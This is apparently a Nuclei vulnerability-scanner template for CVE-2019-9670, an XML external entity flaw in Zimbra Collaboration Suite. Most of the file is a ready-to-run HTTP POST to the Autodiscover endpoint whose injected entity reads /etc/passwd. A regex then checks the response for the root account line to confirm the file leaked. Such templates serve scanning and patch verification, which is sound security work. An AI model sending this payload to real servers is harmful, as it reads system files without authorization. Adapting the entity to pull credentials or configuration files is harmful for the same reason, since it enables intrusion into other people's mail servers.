id: CVE-2019-9670

info:
  name: Zimbra Collaboration XXE
  description: "mailboxd component in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML External Entity injection (XXE) vulnerability."
  author: ree4pwn
  severity: critical

requests:
  - raw:
      - |
        POST /Autodiscover/Autodiscover.xml HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Content-Type: application/xml

        <!DOCTYPE xxe [
        <!ELEMENT name ANY >
        <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
        <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
        <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
        </Request>
        </Autodiscover>

    matchers:
      - type: regex
        regex:
          - 'root:[x*]:0:0'
        part: body